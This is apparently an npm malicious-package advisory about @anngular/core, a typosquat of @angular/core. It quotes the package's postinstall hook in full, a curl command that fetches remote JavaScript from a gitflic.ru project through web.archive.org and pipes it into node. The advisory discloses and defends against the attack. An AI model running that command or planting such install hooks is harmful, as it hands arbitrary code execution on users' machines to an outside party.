npm · Malicious package advisory
Malware@anngular/core
GHSA-jxv9-3rgw-q36v
Malicious code in @anngular/core (npm)
Details
**Severity:** Critical **Affected versions:** `= 22.2.1` ## Source: amazon-inspector (93d2078e85dc301d6b0299c93ff5e0e5e2c717290e88f18de85fce6554f2d027) Package name @anngular/core (double-n) impersonates @angular/core, copying its description 'Angular - the core framework' and author 'angular'. package.json declares a postinstall lifecycle script: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. On `npm install`, this unconditionally fetches an unpinned JavaScript payload from a non-publisher gitflic.ru repository (proxied through web.archive.org to evade host-based filtering) and pipes it directly into node, giving the operator of that gitflic.ru project arbitrary code execution on the installer's machine. The payload is not shipped with the package, is not integrity-pinned, and can be mutated at any time by whoever controls the gitflic.ru project. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@anngular/core/MAL-2026-17540.json)) **References:** - https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@anngular/core/MAL-2026-17540.json - https://www.npmjs.com/package/@anngular/core/v/22.2.1 - https://github.com/advisories/GHSA-jxv9-3rgw-q36v
Compromised versions (1)
- = 22.2.1
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.